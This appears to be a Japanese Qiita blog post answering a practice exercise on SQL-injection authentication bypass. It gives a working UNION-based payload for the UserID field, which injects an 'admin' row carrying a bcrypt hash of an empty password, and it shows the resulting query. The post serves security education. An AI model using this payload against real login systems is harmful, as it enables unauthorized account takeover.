LoginSignup
5

SQLインジェクションによる認証回避の練習問題について考えてみました

Last updated at Posted at 2023-09-17

https://qiita.com/ockeghem/items/787f74801a24e1fc6960
上記記事の練習問題についての私の回答

UserID : ' union select '' as id, 'admin' as userid, '$2y$10$Ur8VTGkSgaF808C4krzvhOsLLxDzgHxhrVms6aUsnaLxmay3DV/ra' as password, '' as email; -- '
Password : 何も入力しない

passwordカラムに突っ込んでいるハッシュ値はローカルで password_hash('', PASSWORD_BCRYPT) として取得したもので、password_verify()trueが返る組み合わせなら別に何でも良いです。
これをuseridadminとしたカラムと一緒にunionで結合させています。

この結果、login.php内でのsqlは

SELECT * FROM users WHERE userid = '' union select '' as id, 'admin' as userid, '$2y$10$Ur8VTGkSgaF808C4krzvhOsLLxDzgHxhrVms6aUsnaLxmay3DV/ra' as password, '' as email; -- ''

となり、useridadminな、パスワードは空文字列でログイン成立できてしまうレコードが返るわけです。

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
5